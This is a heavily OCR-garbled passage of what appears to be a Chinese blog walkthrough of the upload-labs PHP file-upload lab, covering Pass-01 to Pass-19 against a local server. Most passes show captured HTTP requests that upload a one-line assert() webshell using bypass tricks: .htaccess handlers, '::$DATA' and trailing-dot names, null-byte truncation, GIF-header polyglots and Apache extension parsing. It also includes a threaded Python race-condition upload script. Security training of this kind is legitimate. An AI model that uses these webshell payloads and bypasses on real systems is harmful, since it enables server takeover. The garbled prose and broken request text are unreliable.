H .5 —4 php L 4%8#81%,GitHub - 7257018/upload-labs-
writeup: upload-labs 4% ¥§ R ¥E 37 i) #8851

weixin 39623411 F 2021-03-18 04:1936 KA 68 iR
XERE: HOE5—/php FEEEG
0x00: B &

AR X EFEILFSRT — M E Tphpid 5 1 A& ¥R 3% 50 H upload-labs (5 #icommit17ec936) K119/ k4%
KRBT E.

NEESH —E LESE MREMKEE HE, SSREBESERCXENGAREL, RTREXEDIRIT
R

0x01: MMRAME
A E#E T HEE KB PHPStudy 727385, 54 I .
R

Firefox

i

NoScript

i

HackBar
MBETA
Burpsuite Pro
Webshell {15
0x02: &t 75k
Pass-01

MR JS, B EtEWebshell


https://blog.csdn.net/weixin_39623411
https://so.csdn.net/so/search/s.do?q=%25E8%2587%25AA%25E5%25B7%25B1%25E5%2586%2599%25E4%25B8%2580%25E4%25B8%25AAphp%25E4%25B8%258A%25E4%25BC%25A0%25E9%259D%25B6%25E5%259C%25BA&t=blog&o=vip&s=&l=&f=&viparticle=

€ ) (0 | 127.0.0.1/upload-labs/Pass-01/index.php

Lol oed-la A5

&% 127.0.0.1...
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Request

J Raw T Params I Headers | Hex

Response

J Raw T Headers | Hex | HTML T Render ]

POST Jupload-labs/Pass-02/indexphp HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winbd; x64; n49.0)
Gecko/20100101 Firefox/49.0

Accept: text/html, application/«<html+xml,applicationfxml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;g=0.3
Accept-Encoding: g=ip, deflate

Referer: http://127.0.0.1 fupload-labs/Pass-02/index.php
Cookie: pass=02

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
boundary=---------msoee 233562982523731
Content-Length: 331

----------------------------- 233562982523731
Content-Disposition: form-data; name="upload file"; filename="02 php"

Content-Typedimage/gif
<?php assert($_POST["LandGrey"])? =

----------------------------- 233562082523731
Content-Disposition: form-data; name="submit"

Pass-03

e

< /div=
=div id="upload_panel"=
=ol=
<li=
<h3>{FF</h3=
=p= kfE—1T=code-webshell < /code - BIfR$EEE. </p=
=/fli=
<li=
<h3=> H&E</h3=
=form enctype="multipart/form-data" method="post" onsubmit="retur
<p = EEEE LERNER: <p>
<input class="input_file" type="file" name="upload file"/=
zinput class="button" type="submit" name="submit" value="_H{&"/=
< fform=
«div id="msg">
< fdiv=
«div id="img">
|<img sre="./upload/02.php"|width="250px" /= =/div=
=/fli= -
<_,"Cl|>
</div=
ST

HEXEFT NS . EAg5% B2 —A 408 htaccess X, WAEMWT:

SetHandler application/x-httpd-php
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56 LA —A~4 4.php: jpgfIsc i,  EAERIIIE &4 4. phpiiZ 3, K/NAOKB.

J RﬂWT Params I Headers I Hex ]

Jﬂaw T Headers I Hex I HTML I Render ]

POST /Pass-04/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozillaf5.0 (Windows NT 10.0; \Wind4; x64; re:49.0) Gecko,/20100101 Firefox/49.0
Accept: text/html, application/fxhtml+xml,application/fxml;q=0.9%*q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1 fupload-labs/Pass-04/indexphp

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=--------=-----ccccceemoo 2211730555153
Content-Length: 344

----------------------------- 2211730555153

Content-Disposition: form-data; name="upload_file"; filenameH"4.php:jpg"

Content-Type: application/octet-stream

=?php assert(§_POST["LandGrey"])? =
----------------------------- ZITT730555153
Content-Disposition: form-data; name="submit"

GRS A T N4 >>E4.>>

Pass-05

XHLBEHERNEREST . 05.phpBtak05.phPRAJE L&

Pass-06

:

=li=
<hi> H&E</h3>
<form enctype="multipart/form-data"
method="post" onsubmit="return checkFile()"=
<p - HIEEE HERER: <p-
=input class="input file" type="file"
name="upload file"/=>
=input class="button" type="submit"
name="submit" value="_H{%"/=
=fform=
=div id="msg"=
=/div=
=div id="img"=
=img src=I..,l‘uploadfd.php:.jpgl
width="250px" /= </div>
=fli=
</fol=

< fdivs

FIAWindows R 4 [ S 42 5 . SO 42 BN oM 2= 4%, B ER06.php., EAEJEHRFEFEWIndows R 4 IS

A RER— N 2P ER, LR LRI S4B 2 06.php



Request

_[ RawT Params T Headers T Hex ]

Response

J Raw T Headers T Hex T HTML T Render ]

POST fupload-labs/Pass-06/indexphp HTTP/1.1 '

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (WVindows NT 10.0; Wind4; x64; r49.0)
Gecko,/201001071 Firefox/49.0

Accept: text/html, applicationfxhtml+xml,application/xml;q=0.9,*/*q=0.8
Accept-Language: zh-CMN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/upload-labs/Pass-06/indexphp
Cookie: pass=06

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
boundary=-----cmmermm s 1785900121009

----------------------------- 1795900121009

Content-Disposition: form-data; name="upload_file"; filenamez "06.php. "

Content-Type: application/octet-stream

=7php assert($_POST["LandGrey"])?=
----------------------------- 1795900121009

ch3={F&E&</h3=
=p= F&E—=code=webshell < /code -BIfREEE. </p=
</fli=
zli=
<h3= Fi&EE</h3=
=form enctype="multipart/form-data" method="post" ons.
<p-FEEFELENREA: <p-
=input class="input file" type="file" name="upload file"f
<input class="button” type="submit" name="submit" val
=fform=
<div id="msg"=
=/div=
<div id="img">
| =img src="./upload//06.php." |width="250px" /=
</fli=
=fol=

< /div=

=/div=
«div id="footer">
=center=Copyright &nbsp @ &nbsp 201 8&nbsp: br

Content-Disposition: form-data; name="submit" < /div=
S T (R TR B PRI T
Pass-07
JR ¥ [ Pass-06, XM, 207 .php.
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
POST jupload-labs/Pass-07findex.php HTTP/1.1 A </div>
Host: 127.0.0.1 r =div id="upload_panel"=
User-Agent: Mozilla/5.0 (Nindows NT 10.0; \Vin64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 <ol=
Accept: text/html, application/xhtml+xml, applicationaml;g=0.9,*/*:0=0.8 zli=
Accept-Language: zh-CMN,zh;q=0.8,en-US;q=0.5,en;q=0.3 =h3={F&&=/h3=
Accept-Encoding: gzip, deflate =p= tfE—f<code=webshell = /code ~BIfEERE. </p:
Referer: http//127.0.0.1/upload-labs/Pass-07 findex.php </fli=
Cookie: pass=07 =<li=
Connection: close <h3= F{&E</h3=
Upgrade-Insecure-Requests: 1 =form enctype="multipart/form-data" method="post'
Content-Type: multipart/form-data; boundary=------------ccocccemmmcnen 43481235616775 <p-EEEE FEMER: <p>
Content-Length: 344 =input class="input_file" type="file" name="upload
<input class="button" type="submit" name="subm
----------------------------- 43481235616775 < fform=
Content-Disposition: form-data; name:"upload_ﬁle";filename _ =div id="msg"=
Content-Type: application/octet-stream =/div=
=div id="img"=
=?php assert(§_POST["LandGrey"])?= | <img sre="_/upload//07 php."|width="250px" />
----------------------------- 43481235616775 <fli=
Content-Disposition: form-data; name="submit" <fol=
PYAT
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Request

J Raw T Params I Headers | Hex

Response

J RawT Headers | Hex | HTHL I Render ]

POST fupload-labs/Pass-08/indexphp HTTR/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (WVindows NT 10.0; Winb4; x64; rv49.0)
Gecko/20100101 Firefox/49.0

Accept: text/html, applicationxhtml+xml, applicationfml;q=0.9,*/*q=0.8
Mccept-Language: zh-CN,zh;q=0.8,en-US;q=05,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1 fjupload-labs/Pass-08/index.php
Cookie: pass=08

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
boundary=--------o-ceomoeee s 304291438014906

----------------------------- 304291438014906

Content-Disposition: form-data; name="upload file"; filename="08 php=$DATA"

Content-Type: application/octet-stream

=?php assert($ POST["LandGrey"])?=
----------------------------- 304291438014906
Content-Disposition: form-data; name="submit"

Pass-09

3 FlPass-06, _bA%30fh4 Ein b s+ #+xl, B509.php. .

Request

j RawT Params I Headers I Hex ]

href="/upload-labs/Pass-19/index.php">Pags-19</a= </li»
=ful=
< fdivs
=divid="upload panel"=
<ol=
<li>
«h3={F&</h3=
<p= _Ff&—4<code>webshell</code - ZIfRERE, </p-
=fli=
=li=
=h3= FfEE=/h3=
=form enctype="multipart/form-data" method="post"
onsubmit="return checkFile()"=
<p>HEEE LERNER: <p=
<input class="input file" type="file" name="upload file"/
<input class="button” type="submit" name="submit"
value="_H{"/=
=/fform=
=divid="msg">
< /div>
=div id="img"=
|<img src= "..,I'Llpload,f,-’DS_php::SﬁDhTA"}-Nidth:"ZSDpx" /=
= frelis

Response

J Raw T Headers I Hex I HTHML I Render ]

POST jupload-labs/Pass-09/index.php HTTP/1.1

Heost: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; r49.0)
Gecko,/20100101 Frefox/49.0

Accept: text/html, applicationfxhtml+xml,applicationfml;q=0.9,/*q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=05,en;q9=0.3
Accept-Encoding: gzip, deflate

Referer: httpy//127.0.0.1 jupload-labs/Pass-09findex.php
Cookie: pass=09

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
boundary=------------soee 25679377910498

----------------------------- 2567937790498

Content-Disposition: form-data; name="upload file"; filenameq"09 php. "
Content-Type: application/octet-stream
=7php assert($_POST["LandGrey"])?=

----------------------------- 25679377910498
Content-Disposition: form-data; name="submit"

Pass-10

WG4, SCF4 BU810.pphphp

zh3={FE=/h3=
<p= Ef&E—1=<code=webshell < /code -ZIfRERR. <
=/fli=
<li=
=h3= F&EE=/h3=
<form enctype="multipart/form-data” method="p:
onsubmit="return checkFile()"=
<p - THIEEE HEMEE: <p=
=input class="input file" type="file" name="uplc
<input class="button" type="submit" name="su
value="_H&"/>
<fform=
=divid="msg"=
< /div=
=div id="img"=
|<img sre="_Jupload//09.php. "Iwidth="250px" /

=/div=
</fli=
=fol=

< /div=

< /div=



Request Response

_[ Raw T Params T Headers T Hex ] _[ RawT Headers | Hex | HTML T Render ]

POST fupload-labs/Pass-10/index.php HTTP/1.1 |l <h3={EFT</h3>
Host: 127.0.0.1 i) <p> FfE—<code>webshell < jcode > ZIfRERE. </p>
User-Agent: Mozilla/5.0 (Vindows NT 10.0; \Winb4; x64; n49.0) Gecko /20100101 =/fli=
Firefox/49.0 =li=
Mccept: text/html, application/«<html+xml,application/xml;q=0.9,*/*:q=0.8 <hi> HEE</h3=
Mccept-Language: zh-CN,zh;q=0.8,en-S:q=05,en;9=0.3 =form enctype="multipart/form-data" method="post"=
Accept-Encoding: gzip, deflate =p=GIEEE HEMER: <p=
Referer: http//127.0.0.1 fupload-labs/Pass-10/index.php =input class="input_file" type="file"
Cookie: pass=10 name="upload_file"/=
Connection: close =input class="button" type="submit" name="submit"
Upgrade-Insecure-Requests: 1 value="_F{%"/>
Content-Type: multipart/form-data; < fforms=
boundary=-----------smomeeee 4703243612713 =div id="msg">
Content-Length: 343 < fdiv=

=div id="img"=
----------------------------- 4703243612713 I <img sre=".fupload//1 0.p|1p"|width="250px" /=
Content-Disposition: form-data; name="upload file"; filename </div=
Content-Type: application/octet-stream =fli= =

<fol=
=?php assert($ POST["LandGrey"])?= l/ </div>
————————————————————————————— 4703243612713
Pass-11

FAEBRZ4Z %008 56T .  EAERI 4 B 11.jpg, save _pathif ak../upload/11.php%00, & & fRFF T RIS
kA 11.php

Request Response
_[ Raw T Params T Headers | Hex _[ Raw T Headers | Hex | HTHL T Render ]
POST fupload—labsfpass—'l'Ifindex.php?save_path:}__,-ruplc:ad,l"l 1 _php%ﬂﬂlHTl'Pj'l A |.L =p= Eff—1T=code>webshell=jcode - RIfR$ERE. </p-
Host: 127.0.0.1 h <fli=
User-Agent: Mozillaf5.0 (Windows NT 10.0; Winb4; x64; rv49.0) Gecko /20100101 <li=
Firefox/49.0 =h3= HEE</h3=
Accept: text/html, application/zhtml+xml,application/xml:q=0.9,**q=0.8 =form action="?save_path=_/upload/"
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;g=0.3 enctype="multipart/form-data" method="post">
Accept-Encoding: gzip, deflate <p>-HEFEE HERER: <p>
Referer: http://127.0.0.1/upload-labs/Pass-11findex.php =input class="input file" type="file"
Coockie: pass=11 name="upload file"f=
Connection: close <input cdass="button" type="submit" name="submit"
Upgrade-Insecure-Requests: 1 value="1{&"/>
Content-Type: multipart/form-data; =fform=
boundary=------------somem e 3469123911960 =div id="msg"=
Content-Length: 340 =/div=
=div id="img"=
----------------------------- 3469123911960 |<img sre=".Jupload/11 php0/7320180603050432 jpg"
Content-Disposition: form-data; name="upload file"; filename width="250px" /= =/div=
Content-Type: application/octet-stream <fli=
<fol>
=?php assert($ POST["LandGrey"])?= </div>
----------------------------- 3469123911960
Content-Disposition: form-data; name="submit" </div=
R LR Y
Pass-12

php.inii% & magic_quotes_gpc = Off

JR ¥ FPass-11, LA&#EE0x005858. FIFH BurpsuiteffiHexsh #t¥isave_pathefik../upload/12.php [ =i #1001
iz



Request Response
J Raw T Params I Headers W J Raw T Headers | Hex | HTML I Render ]
POST fupload-labs/Pass-12/indexphp HTTP/1.1 [a =div id="upload_panel"=>
Host: 127.0.0.1 ™ <ol>
User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x84, n49.0) z|i=
Gecko /20100101 Firefox/49.0 ch3>{F&</h3>
Accept: text/html, applicationfxhtml+xml,applicationfxml;q=0.9**q=0.8 zp= FiE—i<code=webshell < jcode ~BIfRER|. </p=
MAccept-Language: zh-CN,zh;q=0.8,en-US:q=0.5,en;q=0.3 =fli=
Accept-Encoding: gzip, deflate =li=
Referer: httpy//127.0.0.1/upload-labs/Pass-12/index.php <h3= &R </h3=

Cookie: pass=12

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;

T T 44282318013975
Content-Length: 459

----------------------------- 442823190130975
Content-Disposition: farm-data; name="save_path"

fuploadf12.phpd
----44282319013975

Content-Disposition: form-data; name="upload file"; Filenamem
Content-Type: applicationfoctet-stream

<7php assert($_POST["LandGrey"])? =
----------------------------- 44282319013975

Pass-13

Lot SR, TRIIGIFEL 3 # Sk GIF8%a, Zeid

=form enctype="multipart/form-data” method="post">
<p - HIERE LERERA: <p-
<input type="hidden" name="save_path" value="_/upload;"/>
<input class="input_file" type="file" name="upload file"/=
<input class="button" type="submit" name="submit" value="_H{Z"/>
= ffarms=
=div id="msg"=
=/div=
=divid="img" =
=img sre=".fupload/12.php0/6220180603051309 jpg"|width="250px" /=

=/fli=
<fol=

=/div=
=/div=

<div id="footer"=
<center=Copyright&nbsp; @ &nbsp; 201 8&nbsp:by&inbsp; <a href="h

GIFE .

Request Response
J Raw T Params I Headers | Hex J Raw T Headers | Hex | HTML I Render ]
POST fupload-labs/Pass-13/index.,php HTTR/1.1 |A = fdiv=
Host: 127.0.0.1 =div id="upload_panel"=
User-Agent: Mozilla/5.0 (Windows NT 10.0; 'Vin64; x64; rnv:49.0) Gecko/20100101 <al=
Firefox/49.0 <li=
Accept: text/html, applicationfhtml+xml, applicationfxml;q=0.9,"/*,q=0.8 <h3={E&T«/h3=
Accept-Language: zh-CN,zh;q=0.8,en-U%;q=05,en;g=0.3 <p> EE—4=code=BRD</code-RIREFT/. =</p=
Accept-Encoding: gzip, deflate < fli=
<|i=

Referer: http://127.0.0.1 jupload-labs/Pass-13/indexphp
Cookie: pass=13

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;
boundary=------------cmcmnemien 318353058818261

----------------------------- 318353058818261
Content-Disposition: form-data; name="upload file"; filename="19.php"
Content-Type: application/octet-stream

GIFSQal

<?php assert(§_POST["LandGrey"])? =
----------------------------- 318353058818261
Content-Disposition: form-data; name="submit"

i

<h3= Hi&E=/h3=
<form enctype="multipart/form-data" method="post"=
<p - BEEE HEWEA: <p-
<input class="input_file" type="file" name="upload _file"/=
=input class="button" type="submit" name="submit" value="_F{%"
<ffarms=
=divid="msg"=
< /divs
«div id="img"=>
|<img sre="_Jupload//41 20'I80603060542.gif"}width="25[]p><" J=
=/fli=

<fol=

= /div=

= fdiv=
<div id="footer"=

= center =Copyright&nbsp; @ &nbzp; 2018&nbspcby &nbep; <

1§ F #r 4-copy normal.jpg /b + shell.php /a webshell.jpg, Kphp—a)iGEMBljpgE KRB, REBAEKE, A
THhRTEEE. RR— M EWebshel XA HijpgE fr, REEHE RERITF .. JPG—A)ifishell &% =l
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Pass-14

JREF R BIFPass-13, #SINGIFE F SO kst i

Request Response

J Raw T Params T Headers | Hex J Raw T Headers | Hex | HTML T Render ]
POST jupload-labs/Pass-14/index.php HTTR/1.1 |i <ol=
Host: 127.0.0.1 (R <li=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko /20100101 =h3>{F&E</h3>
Firefoux/49.0 =p=k&E—T=code=ERS=/code-RIlRE]/. =/p=
Accept: text/html,application/xhtml+xml, applicationfxml;q=0.9,*/*;,9=0.8 </fli=
Accept-Language: zh-CN,zh;q=038,en-US;q=0.5,en;q=0.3 <li=
Accept-Encoding: gzip, deflate =h3> F{&EK </h3>
Referer: http://127.0.0.1/upload-labs/Pass-14/index.php =farm enctype="multipart/form-data" method="post"=
Cookie: pass=14 <p=EEEE HEREE: <p>
Connection: close zinput class="input_file" type="file" name="upload file'
Upgrade-Insecure-Requests: 1 =input class="button" type="submit" name="submit" v,
Content-Type: multipart/form-data; =ffarm=
boundary=----------coeome 2778630049343 =div id="msg"=
Content-Length: 351 = div=

=div id="img"=
----------------------------- 2778630049343 [ =img sre="./upload//4020180603061 243.gif] width="2
Content-Disposition: form-data; name="upload file"; filename="14 php" =/div=
Content-Type: application/octet-stream <fli=

zfol=

GIFBgal = div=
=?php assert($ POST["LandGrey"])?=
----------------------------- 2778630049243 <fdivs

png & Frwebshell L-1%[F]Pass-13.
jpg/ipeg® Frwebshell LA FE R, IEHFIE B EERT, SHFEERE.
Pass-15

R [FPass-13, HINGIFE A i3k g i 2



Request Response

J RawT Params ]' Headers | Hex J Raw T Headers | Hex | HTKL I Render ]

POST fupload-labs/Pass-15/indexphp HTTP/1.1 K <ol>
Host: 127.0.0.1 <li=
User-Agent: Mozilla/5.0 (Nindows NT 10.0; Winb4; x64; rv:49.0) Gecko/20100101 ch3>{F&&</h3>
Firefoux/49.0 zp= HE—Pcode=BRB=/code -BIfRERHE. </p=
Accept: text/html, applicationfxhtml+xml, applicationfxml:q=0.9,"/*:q=0.8 </fli=
Accept-Language: zh-CN,zh;q=0.8,en-US;q=05,en;q=0.3 =li=
Accept-Encoding: gzip, deflate =h3> F&EE=/h3i=
Referer: http://127.0.0.1 fupload-labs/Pass-15/index.php =form enctype="multipart/form-data” method="post"=
Cookie: pass=15 <p >R HERNER: <p=
Connection: close =input class="input_file" type="file" name="upload file"/=
Upgrade-Insecure-Requests: 1 zinput class="button" type="submit" name="submit" value=
Content-Type: multipart/form-data; <fform=
boundary=---==snmmmremrmaaeas 66222926615645 =divid="msg">
Content-Length: 351 </div=
=div id="img"=
----------------------------- 66222926615645 <img sre="_fupload//3820180603061429.gif| width="250px"
Content-Dispeosition: form-data; name="upload_file"; filename="15php" = /div=
Content-Type: application/octet-stream </li=
=fol=

< /div>
<°php assert(_POST["LandGrey"])? =
- 66222926615645 < /divs

png & Frwebshell L 4% [F]Pass-13.
ipg/ipeg® Frwebshell 4% F]Pass-13.

Pass-16

JRE: B—NEEESHER, bERRSS. FREAFHELE S R E R 580X LA 2R A6 B 50 B
4, KWebshellREGIEEZEB 2, AR5 LfE. BALHEER S EPythonfEFr, ANLERERZLATREMIE
H ge gt VE 4L R 20 B Frwebshell 1

X Bt —NE A —a)iEwebshel AXAS 3 7] PSR it PHP ¥ imagecreatefromgifif £ i1 GIF B v 7 il

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
0000%00=-000 00000kO000000000{000000000000000000000000000000000+000[00KS0e000<0000<00 00&\0'00000= 00=00t A =/div=>
0OPO=00000%00#00(00#00"00)00C00700<|0"00EDO'00=00A00)00%00<|0X00<00Ep %000000%00fl0 M =div id="upload_panel"=
L0g00i00g < 0j00<00F00> "OOpO]P <ol»
000n00000000 O000LOLORO0000000Y0,00/0r\00000_Or0EL WOOOOO 0O0000|0f 000000000f<0000)00%00~0°00 ,0L00000,000000000 <li=
00000|000,09|000,0000,000000<=00L00000000005300000000000000000000000000°1 I:I)’DEIDEIEIDEIDEIEIDEI <h3={F8E</h3=>
0000@00]00000}00mO0=00mO00000|0'0000,00= DEII]I:I+EIEIEI@I:IaEIOEI:IEID]EI(EIEIQEIEIDEIFKEIEIAEID?EIEI<EI@EILDEIEI oooo <p> EE—T<code>BRS</code>FIfESERF. </p>
TOO900S-0A000<00VO0E}0GO0CO0O00ROOS]10YOOYO ¥00g00(00 Ogl0g00000w0000_0 <fli=
pMO0O0VMOY=0QOFU00mO0 0PO}0000000 0000=000000@0X00&00000i00000m0=0m0m0=0-000000 <li=
00mO00000MO0000]00-0m0000m00Y00000EDOOpO0}000°000p0'000000000t00 "0-00}00000]0000000]00000MO0000 <h3= Ef§E</h3=
0O0mO0=00N0000000000-00000000-00000000+00Uh0GO@ <form encype="multipart/form-data" method="post">
000omO2.0300:007000-0KmOF00000=009n03005n0<000~0QN0OI~08001.0600N00700000v.0-~0\000~0PO0,0bOS EO 0000 <p > HIEEE HERNER: <p-
EI 00100« 000@0-00:00PO000>-00000P0|00NDsn0= 0w si0~0=z00<00NO{00u0d~000000000~00<MNON4E0-0 -00000s0#E0000gq0 DO sinput class="input_file" type="file" name="upload_fil="/>

0 000000.000000n00000NO0.00NOORO00¥000000000MO0000.000000000&0000~0000000-0000_0000, n@ <input class="button” type="submit" name="submit"
[ assert($ POST["00"])? -i0/00' 00004000 ONOOOPOON.00000%/00@0!20°00 0 value="_Ef&"/>
7_0;00RO00/00~0ROOD?0*00000 DODOEODO@0S?0000300=00:00MO0PO0/?0!&0PO0@000 000000000000t? 00@z000000x00m0 <fform=
nO0wOOmOO0zor000 Ox0000000000-000 00000000e0p0 <divid="msg"=
000yeO0?0p000000 0000000000000wOO0=z00mO000 0000-000_0000000000000_000EdrO(@o <fdiv>
0000000000000%g00C00 0000000000/0000000_00000POBO0R<|0CQ000 OP p OF <div id="jmg">
0'0hO00O0%0f00a4 )\0000030000CO0EO0OO00OPIDAIBOFOOOXOPOI O <img sre="./upload/2581 I,gifI width="250px" /= =
hOD&00BkLOD$0g0ADKOOyD0/000Q0000L000d6hPOOD DTYO~GO00 <fli= -
1X0?q00:(00{4\000,010)V0|000006 0 <fol=
#30!0bNO3v000010.#0Z0 01 gNOOuOw 0/~ 0DHOn0000t0%1 d?0000s0650= 0:we00000+ nOC;00000WQOO0000_00000/)0000/100 =/div=
0000a;0000Ww0r0.<)0000"B0<0@=00-000~0@0000E 00000 0000 00000{0@90000@! a0k000(00000/0~ 00)00"A+0°300s000-0)08
S000000_@i00GOtd#90)0 !00POK$OPd"00<0000030000G? O0!'0~0d0F-00#K%0H0060H0060A0MODO000) 0400000 =/div=
Y9 TO0000t/000d#0 =div id="footer"=>

0vO00"s0x000000(0000 00000GUi0( %b00vIUORGOO"02 0000*00000aHO60

T BE GG B Fr, WebshellfURS T3R8 7772
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P & 35 4 B So bR T 22585 . {3 FH i 2-pip install hackhttpZZ 3 hackhttp#ik, 3547 T K Pythonft g Bl
A, WRIERMIBR AR, W LUE S RBEREI R

#!/usr/bin/env python

# coding:utf-8

# Build By LandGrey

import hackhttp

from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):

hh = hackhttp.hackhttp()

raw = ""POST /upload-labs/Pass-17/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/upload-labs/Pass-17/index.php

Cookie: pass=17

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary= 6696274297634

Content-Length: 341

6696274297634

Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

6696274297634

Content-Disposition: form-data; name="submit"
kg
6696274297634--

code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)

print(str(code) + "\r")



pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()

pool.join()

FEMAZATHIRAE, V5 E Webshell

127.0.0.1/upload-labs/upload/17.php

~¥| = & SQL- X85 Encryption- Encoding- Other- ; ggg

URL [127.0.0.1/upload-labsfupload/17.php
URL.
ute
Enable Post data [ | Enable Referrer
LandGrey=phpinfo();
System Windows NT DESKTOP-=""ll Eelol. HEID
Build Date Jan & 2011 17:26:08
Configure cscript fnologo configure.js "--enable-snapshot-build” "--enable-debug-pack”
Command *--with-snapshot-template=d:\php-sdk\snap 5 2\vcb\x86\template” "--with-
php-build=d\php-sdkisnap_5_2\wcb\xBB\php_build” "--with-pdo-oci=D:php-
sdk\oraclelinstantclient10\sdk shared” *--with-oci8=D:\php-sdkioracle
\instantclient10\sdk, shared” "--without-pidweb”
Server APl Apache 2.4 Handler - Apache Lounge
Pass-18

WIFF A R EBISE Tr ik, BJa T 8AEH GithubiRMEKIIT A EE, F M A& HEay 4 55 $+Apachef@iTiwid, Hzh

L7 N18.php. 7TZHI 3, REEBRERZZHF/E, A CEP L, BREHEFL.

Request Response
jF&a\lIParam]'Headers Hex jRﬂwTHeﬁd&rS Hex HTMLTRender]
POST [Pass-18/index.php HTTP/1.1 E =zol=
Host: 127.0.0.1 <li=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x64; rv:49.0) <h3>{F&E</h3>
Gecko{20‘|00‘|m Firefoxj49.[] :p:lﬁ—ﬁ"qcode}ﬂ'ﬂ:f:ode}gm, :fp:
Accept: text/html,application/«<html+xml,applicationfxml;q=0.9,/*;q=0.8 =/fli=
MAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 <li=
Mccept-Encoding: gzip, deflate =h3= EfEE=/h3=
Referer: http://127.0.0.1/Pass-18/index.php <form enctype="multipart/form-data" method="post"=
Cookie: pass=18 <p>HIEEE HEREE: <p>
Connection: close <input class="input file" type="file" name="upload file"/>
Upgrade-Insecure-Requests: 1 | <input class="button" type="submit" name="submit" value="1{&"/>
Content-Type: multipart/form-data; < fform=
boundary=-----m-msmme e 128012830223475 edi id="m=g">
Content-Length: 349 Lg% xupswLs, paases) </div>
=div id="img"=>
————————————————————————————— 129012830223475 = fdiv>
Content-Disposition: form-data; name="upload_file"; Filename =fli»
Content-Type: application/octet-stream =fol=
< /div>

=?php assert(§_POST["LandGrey"])?>
----------------------------- 129012830222475 <ydiv=
Content-Disposition: form-data; name="submit" <div id="footer"=



PROESRZ EE R BEER, TSR T A E a4 B AR T

£ ET gt e Fh

B 18.php.72 2018- m WinRAR E&ETiE 1 KB
B 1528163517.72Z 2018- = WinRAR FEZE304 1KB
B 1528163518.7Z 2018-mmpm = WinRAR R 1 KB

SR & F FH Apache ) fE AT IR,  BP AT 3k 78 shell

T - |
"\(',,-" G} [ 127.0.0.1/upload/18.php.7z

v 7 = T R T AR~

INT ~| = & S0L- XS5+ Encryption Encodingr Otherr g gg% ?
: 5 '3 L

g Load URL | http://127.0.0.1/upload/18.php.7z
% splitURL
M) Bxecute
[+/] Enable Post data [ ] Enable Referrer
Post data LandGrey=phpinfo();
System Windows NT DESKTOP-_= © =m mpey _sgm_Tim
Build Date Jan &6 2011 17:26:08
Configure cscript /nologo configure.js "--enable-snapshot-build” *--enable-debug-pack”
Command "--with-snapshot-template=d:\php-sdk\snap 5 2\wcb\xB6\template” "--with-
php-build=d\php-sdk\snap_5_2\vc6\x86\php_build" *--with-pdo-oci=D:\php-
sdld\oracle\instantclient10\sdk,shared" "--with-ociB=D:\php-sdk\oracle
\instantclient10\sdk shared” "--without-pi3web"
Server API Apache 2.0 Handler
Pass-19

JR¥E FPass-11, EAERISCH4 FOX00585d . 2si19.php [ 341001 .1.jpg



Request

J Raw T Paramz T Headers T Hex ]

Response

_[ RawT Headers T Hex T HTML T Render ]

POST fupload-labs/Pass-19/index.php HTTR/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Winbd; x54; r:49.0)
Gecko/20100101 Firefox/49.0

Accept: text/html, application/xhtml+xml, applicationfxml;q=0.9,*/*:q=0.8

MAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1 fupload-labs/Pass-19/index.php
Cookie: pass=19

Connection: close

Upgrade-Insecure-Requests: |

Content-Type: multipart/form-data;
boundary=-----msmmmeme e 2765487012875
Content-Length: 451

----------------------------- 2765487012875

Content-Disposition: form-data; name="upload _file"; filenamex"19jpg"

Content-Type: application/octet-stream

<?php assert($_POST["LandGrey"])?=
----------------------------- 2765487012875
Content-Disposition: form-data; name="save_name"

2765487012875
Content-Disposition: form-data; name="submit"

0x03: Jid

[a

zli=<a href="fupload-labs/Pass-17/indexphp"=Pas
zli==a href="/upload-labs/Pass-18/index.php"=Pas
zli=<a class="a_is_selected" href="/upload-labs/Pas
=/ul=
=/div>
=div id="upload panel"=
=al=
z[i=»
<h3={FE</hi=
